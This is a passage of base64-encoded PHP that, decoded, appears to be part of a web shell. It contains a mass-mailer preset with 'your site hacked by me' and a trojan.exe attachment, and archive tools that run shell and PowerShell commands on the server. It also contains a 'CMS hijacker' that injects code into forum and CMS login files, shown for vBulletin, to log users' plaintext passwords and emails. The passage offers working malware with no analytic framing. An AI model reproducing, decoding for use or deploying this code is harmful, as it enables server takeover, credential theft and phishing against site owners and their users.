mdldEBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzYwJywncGxhY2Vob2xkZXInID0+IHRydWUpLAondGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwKJ3RkMycgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1N1YmplY3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF9zdWJqZWN0JywgJ2lucHV0VmFsdWUnID0+ICd5b3VyIHNpdGUgaGFja2VkIGJ5IG1lJywgJ2lucHV0U2l6ZScgPT4gJzYwJyksCid0ZDQnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdBdHRhY2ggRmlsZSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2F0dGFjaCcsICdpbnB1dFZhbHVlJyA9PiAkR0xPQkFMU1snY3dkJ10uJ3Ryb2phbi5leGUnLCAnaW5wdXRTaXplJyA9PiAnNjAnKSwKJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJigkX1BPU1RbJ2FsZmE0J10gPT0gJz4+JykpewokbWFpbF90byA9ICRfUE9TVFsnYWxmYTEnXTsKJG1haWxfZnJvbSA9ICRfUE9TVFsnYWxmYTInXTsKJG1haWxfc3ViamVjdCA9ICRfUE9TVFsnYWxmYTMnXTsKJG1haWxfY29udGVudCA9ICRfUE9TVFsnYWxmYTUnXTsKJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnYWxmYTYnXTsKJG1haWxfYXR0YWNoID0gJF9QT1NUWydhbGZhNyddOwppZihmaWx0ZXJfdmFyKCRtYWlsX3RvLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKXsKaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpewokZmlsZSA9ICRtYWlsX2F0dGFjaDsKJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkZmlsZSk7CiRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnKCRjb250ZW50KSk7CiR1aWQgPSBtZDUodW5pcWlkKHRpbWUoKSkpOwokZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7CiRoZWFkZXJzIC49ICJUbzogIiAuICRtYWlsX3RvLiAiICggIi4kbWFpbF90by4iICkgXHJcbiI7CiRoZWFkZXJzIC49ICJSZXBseS1UbzogIi4kbWFpbF9mcm9tLiJcclxuIjsKJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHVpZC4iXCJcclxuXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LXR5cGU6dGV4dC9wbGFpbjsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcclxuXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi4kZmlsZW5hbWUuIlwiXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIlxyXG5cclxuIjsKJG1haWxfY29udGVudCAuPSAkY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOwp9ZWxzZXsKJGhlYWRlcnMgID0gIkZyb206ICIgLiAkbWFpbF9mcm9tLiAiICggIi4kbWFpbF9mcm9tLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gJ1JlcGx5LVRvOiAnLiRtYWlsX2Zyb20uJycgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKfQppZihlbXB0eSgkY291bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsKaWYoIWVtcHR5KCRtYWlsX2Zyb20pKXtlY2hvIF9fcHJlKCk7CmZvcigkaT0xOyRpPD0kY291bnRfbWFpbDskaSsrKXsKaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCwkbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7Cn19ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgRnJvbSAhIik7fQp9ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgVG8gISIpO30KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmF6aXBlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ3ppcGVyXCcsbnVsbCxudWxsLG51bGwsdGhpcy5kaXJ6aXAudmFsdWUsdGhpcy56aXBmaWxlLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+U2F2ZSBEaXI6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidhbGZhLnppcCIgc2l6ZT0iNjAiLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9InppcGVyIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgKCRfUE9TVFsnYWxmYTUnXSA9PSAnPj4nKSl7CiRkaXJ6aXAgPSAkX1BPU1RbJ2FsZmEzJ107CiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOwppZigkR0xPQkFMU1snc3lzJ10hPSd1bml4JyYmX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CmFsZmFFeCgicG93ZXJzaGVsbCBDb21wcmVzcy1BcmNoaXZlIC1QYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLURlc3RpbmF0aW9uUGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKaWYoX19hbGZhemlwZXIoJGRpcnppcCwgJHppcGZpbGUpKXsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOwp9ZWxzZXtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9fYWxmYXppcGVyKCRzb3VyY2UsJGRlc3RpbmF0aW9uKXsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKXx8IWZpbGVfZXhpc3RzKCRzb3VyY2UpKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkemlwPW5ldyBaaXBBcmNoaXZlKCk7CglpZighJHppcC0+b3BlbigkZGVzdGluYXRpb24sWklQQVJDSElWRTo6Q1JFQVRFKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJHNvdXJjZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgkc291cmNlKSk7CglpZihpc19kaXIoJHNvdXJjZSk9PT10cnVlKXsKCQkkZmlsZXM9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QpOwoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJJGZpbGU9c3RyX3JlcGxhY2UoJ1xcJywnLycsJGZpbGUpOwoJCQlpZihpbl9hcnJheShzdWJzdHIoJGZpbGUsc3RycnBvcygkZmlsZSwnLycpKzEpLGFycmF5KCcuJywnLi4nKSkpY29udGludWU7CgkJCSRmaWxlPXJlYWxwYXRoKCRmaWxlKTsKCQkJaWYoaXNfZGlyKCRmaWxlKT09PXRydWUpewoJCQkJJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZS4nLycsJycsJGZpbGUuJy8nKSk7CgkJCX1lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7CgkJCQkkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UuJy8nLCcnLCRmaWxlKSxmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwoJCQl9CgkJfQoJfWVsc2UgaWYoaXNfZmlsZSgkc291cmNlKT09PXRydWUpewoJCSR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksZmlsZV9nZXRfY29udGVudHMoJHNvdXJjZSkpOwoJfQoJcmV0dXJuICR6aXAtPmNsb3NlKCk7Cn0KZnVuY3Rpb24gYWxmYWRlemlwZXIoKXsKYWxmYWhlYWQoKTsKQWxmYU51bSg4LDksMTApOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ2RlemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5GaWxlOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcnppcCIgdmFsdWU9IicuKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMyddKTpodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkpLiciIHNpemU9IjYwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkV4dHJhY3QgVG86IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciIHNpemU9IjYwIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJ6aXBlciIgLz4KPC9mb3JtPjwvY2VudGVyPjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICgkX1BPU1RbJ2FsZmE1J10gPT0gJz4+JykpewokZGlyemlwID0gJF9QT1NUWydhbGZhMyddOwokemlwZmlsZSA9ICRfUE9TVFsnYWxmYTQnXTsKaWYoQCFpc19kaXIoJHppcGZpbGUpKXsKCUBta2RpcigkemlwZmlsZSwgMDc3NywgdHJ1ZSk7Cn0KJGZpbmZvID0gIiI7CiRmaWxlX3R5cGUgPSAiIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpewokZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOwokZmlsZV90eXBlID0gQGZpbmZvX2ZpbGUoJGZpbmZvLCAkZGlyemlwKTsKQGZpbmZvX2Nsb3NlKCRmaW5mbyk7Cn1lbHNlewoJaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSRmaWxlX3R5cGUgPSBhbGZhRXgoJ2ZpbGUgLWIgLS1taW1lLXR5cGUgJyAuICRkaXJ6aXApOwoJfQp9CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiYhZW1wdHkoJGZpbGVfdHlwZSkmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkmJihzdHJsZW4oYWxmYUV4KCd3aGljaCB1bnppcCcpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIHRhcicpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIGd1bnppcCcpKSA+IDApKXsKc3dpdGNoICgkZmlsZV90eXBlKSB7CgljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dW56aXAgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJYnJlYWs7CgljYXNlICdhcHBsaWNhdGlvbi94LXRhcic6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3ppcCc6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3Rhcic6CgkJaWYoc3Ryc3RyKGJhc2VuYW1lKCRkaXJ6aXApLCAiLnRhci5neiIpfHxzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyIikpewoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO3RhciB4emYgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJCX1lbHNlewoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO2d1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7CgkJfQoJYnJlYWs7Cn0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsKfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkkaXRzb2sgPSBmYWxzZTsKCWlmKGVtdHB5KCRmaWxlX3R5cGUpKXsKCQkkZmlsZV90eXBlID0gImFwcGxpY2F0aW9uL3ppcCI7Cgl9Cglzd2l0Y2ggKCRmaWxlX3R5cGUpIHsKCQljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCQkkemlwID0gbmV3IFppcEFyY2hpdmU7CgkJCSRyZXMgPSAkemlwLT5vcGVuKCRkaXJ6aXApOwoJCQlpZiAoJHJlcykgewoJCQkJJHppcC0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCSR6aXAtPmNsb3NlKCk7CgkJCQkkaXRzb2sgPSB0cnVlOwoJCQl9CgkJYnJlYWs7CgkJY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOgoJCQlpZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6IikpewoJCQkJJG5ld19maWxlID0gJHppcGZpbGUgLicvJy4gYmFzZW5hbWUoJGRpcnppcCk7CgkJCQlAY29weSgkZGlyemlwLCAkbmV3X2ZpbGUpOwoJCQkJJG5ld190YXIgPSBzdHJfcmVwbGFjZSgiLnRhci5neiIsICIudGFyIiwgJG5ld19maWxlKTsKCQkJCXRyeSB7CgkJCQkJJHAgPSBuZXcgUGhhckRhdGEoJG5ld19maWxlKTsKCQkJCQkkcC0+ZGVjb21wcmVzcygpOwoJCQkJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRuZXdfdGFyKTsKCQkJCQkkcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCQlAdW5saW5rKCRuZXdfZmlsZSk7CgkJCQkJQHVubGluaygkbmV3X3Rhcik7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9ZWxzZXsKCQkJCXRyeSB7CgkJCQkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRpcnppcCk7CgkJCQkJJHBoYXItPmV4dHJhY3RUbygkemlwZmlsZSk7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9CgkJYnJlYWs7Cgl9CmlmKCRpdHNvayl7CmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPGJyPicuJHppcGZpbGUuJzwvZm9udD4gPGEgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiR6aXBmaWxlLidcJyk7Ij5bIFZpZXcgRm9sZGVyIF08L2E+PC9wPjwvY2VudGVyPic7Cn1lbHNle2VjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0icmVkIj5FUlJPUiEhIS4uLjwvZm9udD48L3A+PC9jZW50ZXI+Jzt9Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNtc2hpamFja2VyKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oNSw2LDcsOCw5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPgo8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBIaWphY2tlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Ntc2hpamFja2VyXCcsbnVsbCx0aGlzLmNtc2hpLnZhbHVlLHRoaXMuc2F2ZXRvLnZhbHVlLFwnPj5cJyx0aGlzLmNtc3BhdGgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOwokY21fYXJyYXkgPSBhcnJheSgidmIiPT4idkJ1bGxldGluIiwid3AiPT4id29yZHByZXNzIiwiam9tIj0+Impvb21sYSIsIndobWNzIj0+IndobWNzIiwibXliYiI9PiJteWJiIiwiaXBiIj0+ImlwYm9hcmQiLCJwaHBiYiI9PiJwaHBiYiIpOwpmb3JlYWNoKCRjbV9hcnJheSBhcyAka2V5PT4kdmFsKWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPic7CmVjaG8oIjwvc2VsZWN0PiIpOwplY2hvICcgUGF0aCBpbnN0YWxsZWQgY21zOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNtc3BhdGgiIHBsYWNlaG9sZGVyPSJleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC92YnVsbGV0aW4vIj4KU2F2ZVRvOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9InNhdmV0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidhbGZhLnR4dCI+PC9mb250Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRjbXMgPSAkX1BPU1RbJ2FsZmExJ107CiRzYXZldG8gPSAkX1BPU1RbJ2FsZmEyJ107CiRjbXNwYXRoID0gJF9QT1NUWydhbGZhNCddOwppZighZW1wdHkoJGNtcykgQU5EICFlbXB0eSgkc2F2ZXRvKSBBTkQgJF9QT1NUWydhbGZhNCddIEFORCAkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKYWxmYUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdmV0byl7CnN3aXRjaCgkY21zKXsKY2FzZSAidmIiOgpoaWphY2t2QnVsbGV0aW4oJGNtc3BhdGgsJHNhdmV0byk7CmJyZWFrOwpjYXNlICJ3cCI6CmhpamFja3dwKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiam9tIjoKaGlqYWNrSm9vbWxhKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAid2htY3MiOgpoaWphY2tXaG1jcygkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmNhc2UgIm15YmIiOgpoaWphY2tNeWJiKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiaXBiIjoKaGlqYWNrSVBCKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAicGhwYmIiOgpoaWphY2tQSFBCQigkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmRlZmF1bHQ6CmVjaG8gImVycm9yISI7CmJyZWFrOwp9Cn0KZnVuY3Rpb24gaGlqYWNrdkJ1bGxldGluKCRwYXRoLCRzYXZldG8pewokY29kZT0nJGFsZmFfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fdXNlcm5hbWUiXSk7JGFsZmFfcGFzc3dvcmQgPSAkdmJ1bGxldGluLT5HUENbInZiX2xvZ2luX3Bhc3N3b3JkIl07JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9Ijskc3FsX3F1ZXJ5ID0gJHZidWxsZXRpbi0+ZGItPnF1ZXJ5X3JlYWQoIlNFTEVDVCAqIEZST00gIiAuIFRBQkxFX1BSRUZJWCAuICJ1c2VyIFdIRVJFIGB1c2VybmFtZWA9XCciIC4gJGFsZmFfdXNlcm5hbWUgLiAiXCciKTt3aGlsZSgkcm93ID0gJHZidWxsZXRpbi0+ZGItPmZldGNoX2FycmF5KCRzcWxfcXVlcnkpKXtpZihzdHJsZW4oJGFsZmFfcGFzc3dvcmQpID4gMSBBTkQgc3RybGVuKCRhbGZhX3VzZXJuYW1lKSA+IDEpeyRmcDEgPSBAZm9wZW4oJGFsZmFfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAxLCAkYWxmYV91c2VybmFtZSAuIFwnIDogXCcgLiAgJGFsZmFfcGFzc3dvcmQuIiAoIiAuICRyb3dbImVtYWlsIl0gLiAiKVxuIik7QGZjbG9zZSgkZnAxKTsgJGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fSc7CiRjbGVhcnB3ID0gJ2RlZmluZWQoXCdESVNBQkxFX1BBU1NXT1JEX0NMRUFSSU5HXCcpJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW4gPSAkcGF0aC4iL2xvZ2luLnBocCI7CiRjbGFzcyA9ICRwYXRoLiIvaW5jbHVkZXMvY2xhc3NfYm9vdHN0cmFwLnBocCI7CiRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsKJGV2aWxfbG9naW4gPSAiXHQiLiRjb2RlLiJcblx0Ii4kZG9sb2dpbjsKJGV2aWxfY2xhc3MgPSAidHJ1ZSI7CmlmKChAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSkgfHwgKEBpc19maWxlKCRjbGFzcykgQU5EIEBpc193cml0YWJsZSgkY2xhc3MpKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CiRkYXRhX2NsYXNzID0gQGZp